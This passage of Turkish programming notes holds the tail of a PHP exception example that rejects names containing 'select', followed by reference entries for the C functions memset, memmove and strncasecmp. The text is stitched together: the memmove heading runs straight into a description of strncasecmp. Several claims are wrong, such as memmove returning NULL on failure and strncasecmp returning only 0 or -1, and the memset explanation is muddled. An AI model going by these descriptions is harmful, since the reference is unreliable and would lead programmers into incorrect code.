throw new Exception("ismin içinde select kelimesi var");
}
echo "eğer hata yok ise, yani str değişkenin içinde SELECT kelimesi geçmiyor, yeni bir Exception oluşturulmamış ise yapılacak işlemler";
}
catch(Exception $e)
{
echo "hata var! " . $e -> getFile() . " dosyasının " . $e -> getLine() . ". satırında yeni bir hata tespit edilmiş!. hata mesajının içeriği = " . $e -> getMessage();
}
Belitilen kaynak veya hedef (dst) içerisinde yeni bir değer ataması yapılamasını sağlar. Burada val değeri ile belirlenen yeni değeri belirttiğimiz index den önceki tüm değerleri değişir. Başarılı ise dst değerini döner.
Syntax
void* memset(void* dst, int val, size_t size);
Params
dst: Kaynak veya Hedef Değer
val: Karakter veya ASCII Değer
size: Index veya değişecek index değeri
example.cpp
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char str[] = "This is a sample memset";
memset(str, '-', 4);
printf("%s", str);
return 0;
}
memmove
Belirlenen src değerini dst değeri içerisine belirtilen uzunluk kadar taşır. Başarılı ise dst değerini döner. Başarısız ise NULL döner.
Belirlenen her iki değeri biri bir ile belirlenen karakter sayısı kadar büyük küçük kontrolü olmaksızın karşılaştırır. Başarılı ise 0 değil ise -1 değeri döner.
Syntax
int strncasecmp(const char* str1, const char* str2, size_t maxCount);